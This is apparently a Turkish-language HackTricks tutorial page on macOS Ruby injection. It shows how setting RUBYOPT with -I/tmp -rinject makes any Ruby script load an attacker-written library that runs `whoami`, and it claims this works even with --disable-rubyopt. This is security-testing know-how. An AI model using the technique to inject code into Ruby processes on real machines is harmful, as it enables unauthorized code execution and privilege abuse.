macOS Ruby Applications Injection

HackTricks'i Destekleyin

RUBYOPT

Bu ortam değişkenini kullanarak, ruby her çalıştırıldığında yeni parametreler eklemek mümkündür. -e parametresi ruby kodu belirtmek için kullanılamasa da, -I ve -r parametrelerini kullanarak yükleme yolu için yeni bir klasör eklemek ve ardından yüklemek için bir kütüphane belirtmek mümkündür.

/tmp dizininde inject.rb kütüphanesini oluşturun:

inject.rb
puts `whoami`

Herhangi bir yere aşağıdaki gibi bir ruby script oluşturun:

hello.rb
puts 'Hello, World!'

Arbitrary bir ruby betiğinin bunu yüklemesini sağlayın:

RUBYOPT="-I/tmp -rinject" ruby hello.rb

Eğlenceli bir gerçek, --disable-rubyopt parametresi ile bile çalışıyor:

RUBYOPT="-I/tmp -rinject" ruby hello.rb --disable-rubyopt
HackTricks'i Destekleyin

Last updated